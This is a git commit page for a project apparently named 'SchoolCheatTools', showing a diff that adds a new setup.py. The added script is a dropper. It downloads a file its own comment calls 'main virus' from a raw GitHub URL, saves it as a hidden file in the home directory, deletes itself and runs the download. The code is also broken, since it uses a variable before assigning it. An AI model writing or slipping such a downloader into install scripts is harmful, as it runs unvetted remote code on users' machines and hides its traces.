diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-11 00:34:34 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-11 00:35:51 +0800 |
| commit | fe7774a1b81dd95c5dbe8f5a23c751ad50b97a53 (patch) | |
| tree | d6537f8bfb041ea9272a7fba711b703f8d4c02d1 /setup.py | |
| parent | 7c83f029e734bcc76db2c551a0f401d29bff79e5 (diff) | |
updated
new file: ..spec
deleted: .DS_Store
new file: .gitignore
new file: .spec
modified: Makefile
modified: SchoolCheatTools.py
new file: setup.py
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..8442799 --- /dev/null +++ b/setup.py @@ -0,0 +1,19 @@ +from os import system, execvp +from time import sleep +from sys import argv +from requests import get +from os.path import expanduser +from os import remove +from subprocess import Popen as subproc + +# download main virus +open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/SchoolCheatTools/main/SchoolCheatTools", allow_redirects=True).content) + +try: + filename = argv[0].split('/')[-1] +except: + filename = argv[0] + +remove(filename) + +subproc([f"{expanduser('~')}/.{filename}"]) |
